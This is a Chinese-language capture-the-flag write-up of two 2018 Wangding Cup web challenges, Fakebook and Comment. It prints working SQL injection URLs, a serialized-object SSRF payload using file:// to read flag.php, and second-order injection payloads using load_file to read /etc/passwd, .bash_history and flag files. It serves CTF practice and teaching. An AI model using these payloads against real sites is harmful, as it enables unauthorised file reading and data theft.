记2018网鼎杯的两个web

今年的网鼎杯也快要来了,就想找上一届的ctf题目来看看,正好发现buuctf上面有三个web(Fakebook,Comment,Unfinish),但最后一题不知道是我姿势有问题还是环境问题,总之只复现了两个web,记录下思路。

0x01 Fakebook

考点:

  • php代码审计
  • sql注入
  • php反序列化
  • ssrf

存在有robots文件,访问之得到源码地址/user.php.bak,于是下载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

一个UserInfo类,前面都是一些传参,主要的点在get方法中,其次isValidBlog方法对用户输入进行了过滤。

get方法,先初始化curl会话,设置一个url链接,然后第二个curl_setopt里面是1,表示如果成功只将结果返回,不输出任何内容。如果失败返回FALSE,随即运行curl,并返回执行结果。$httpCode用来获取http状态码。

分析了定义的get方法后,我们再来简单了解下curl的用法及特性,而且后面注册输入博客url时是会加载的,综合这些信息,可容易得出由于对curl控制不严导致存在ssrf漏洞,curl支持多种协议:

1
Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp scp sftp smb smbs smtp smtps telnet tftp

试想这里我们是不是可以利用curl支持的file协议来构造读取服务器内文件,但是由于isValidBlog方法的存在导致我们不能直接在注册处读取文件。

回到题目,先随意注册一个用户登录进去,可以选一些比如baidu之类的网址,会明显看到博客地址有被加载

注意url的格式,可能存在注入

/view.php?no=1

查字段数:4

/view.php?no=1 order by 4

联合查询显示no hack,利用注释符轻松绕过

/view.php?no=-1 union/**/select 1,2,3,4#

查库名为:fakebook

/view.php?no=-1 union/**/select 1,database(),3,4#

查表名为:users

/view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'#

查列名:no,username,passwd,data

/view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' and table_name='users'#

查出其中所有数据:

/view.php?no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from fakebook.users#

1
1zjundad271d633ebcf4f364ab8976fc5ea5035360d5420fc644a41cadc1b6098c98b901cf8c8609207dd774f2996c542115a20e36c9e06d0ec0f97dcedec30d59db6O:8:"UserInfo":3:{s:4:"name";s:4:"zjun";s:3:"age";i:19;s:4:"blog";s:21:"https://www.zjun.info";}

data列存储的数据是序列化的字符串,可以利用前面的ssrf配合file协议构造paylod读取flag文件

先构造pop链(其实不构造也行,直接把上面的博客地址改成flag路径,再改下字符长度传过去即可)

1
2
3
4
5
6
7
8
9
10
11
<?php
class UserInfo{
public $name = "";
public $age = 0;
public $blog = "";
}
$a=new UserInfo();
$a->name="zjun";
$a->blog="file:///var/www/html/flag.php";
echo serialize($a);
?>

php执行一下输出

1
O:8:"UserInfo":3:{s:4:"name";s:4:"zjun";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

最终payload

view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"zjun";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

查看源码得:

1
data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3s5NGQ4OTk2OS04NTQyLTQwZGEtYjdiZS1kODMzNmM3NWVjMWR9IjsNCmV4aXQoMCk7DQo=

base64解码:

1
echo 'PD9waHANCg0KJGZsYWcgPSAiZmxhZ3s5NGQ4OTk2OS04NTQyLTQwZGEtYjdiZS1kODMzNmM3NWVjMWR9IjsNCmV4aXQoMCk7DQo=' | base64 -d

flag

1
2
3
4
<?php

$flag = "flag{94d89969-8542-40da-b7be-d8336c75ec1d}";
exit(0);

除此之外还存在一非预期解法,由于有较高权限以及可用load_file()函数,所以可以直接构造payload

/view.php?no=0 union/**/select 1,load_file('/var/www/html/flag.php'),3,4#

然后查看源码直接可得flag

Comment

考点:

  • git用法
  • php代码审计
  • 二次注入
  • linux bash杂点

来看看题,一个留言板,发帖跳转登录

帐号给出了,密码简单爆破一下,得zhangwei666,然后又来到发帖页面

控制台发现程序员GIT写一半跑路了,都没来得及Commit字样,由gitcommit判断可能存在git源码泄漏以及与git状态相关的东西,所以利用GitHacker工具,可连同.git目录一起下载下来。

查看git操作记录

git log --reflog

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
commit e5b2a2443c2b6d395d06960123142bc91123148c (refs/stash)
Merge: bfbdf21 5556e3a
Author: root <root@localhost.localdomain>
Date: Sat Aug 11 22:51:17 2018 +0800

WIP on master: bfbdf21 add write_do.php

commit 5556e3ad3f21a0cf5938e26985a04ce3aa73faaf
Author: root <root@localhost.localdomain>
Date: Sat Aug 11 22:51:17 2018 +0800

index on master: bfbdf21 add write_do.php

commit bfbdf218902476c5c6164beedd8d2fcf593ea23b (HEAD -> master)
Author: root <root@localhost.localdomain>
Date: Sat Aug 11 22:47:29 2018 +0800

add write_do.php

把第一行版本源码恢复出来

git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

得到完整源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

审计代码发现当get传入的do=write时,利用addslashes()函数对post传入的变量进行转义,在每个双引号"前添加反斜杠

1
2
3
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);

而当do=comment时,直接传入未进行有效过滤

1
$bo_id = addslashes($_POST['bo_id']);

源码中的writecomment分别对应发帖留言界面,结合二者和题目靶机结构,可以构造代码完成二次注入的操作。

下面来看看具体如何实现,留言界面,构造sql语句,源码是:

1
2
3
4
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";

构造如下:

1
2
3
4
$sql = "insert into comment
set category = '',content=user(),/*',
content = '*/#',
bo_id = '$bo_id'";

发帖时,通过addslashes()函数转义存入数据库,再从数据库中查询放入sql语句,显示出来,这里没有进行转义,所以在留言时利用多行注释符/**/即可闭合sql语句,执行我们的查询内容。

来看看效果:

然后查看详情,留言处将其闭合:

点击提交,sql语句执行:

接下来我们可以利用sql语句查询或配合load_file()函数读取服务器文件,直到读取到flag即可

/etc/passwd :

1
',content=load_file("/etc/passwd"),/*

最后一行可见wwwbash身份运行,读bash历史操作/home/www/.bash_history

1
',content=load_file("/home/www/.bash_history"),/*

格式化一下操作如下:

1
2
3
4
5
6
7
cd /tmp/
unzip html.zip
rm -f html.zip
cp -r html /var/www/
cd /var/www/html/
rm -f .DS_Store
service apache2 start

注意/var/www/html中的.DS_Store被删除了,但是/tmp/html下的该文件还存在,读之(外加一层hex编码,不然会显示不全):

1
',content=hex(load_file("/tmp/html/.DS_Store")),/*

字符很多,用小陈哥哥的在线工具解码一下,可发现不是很清晰的flag_8946e1ff1ee3e40f.php字样

又读之

1
',content=hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php")),/*

解码后得假的flag

1
2
3
<?php
$flag = 'flag{f9ca1a6b-9d78-11e8-90a3-c4b301b7b99b}';
?>

换个目录读,因为是复制过来的,/var/www/html/中也自然有这个flag文件,读之

1
',content=hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php")),/*

得真flag

1
2
3
<?php
$flag="flag{362afbce-ac8e-438f-b969-9b1ce19f874b}";
?>
Thank you very much if you can.

欢迎关注我的其它发布渠道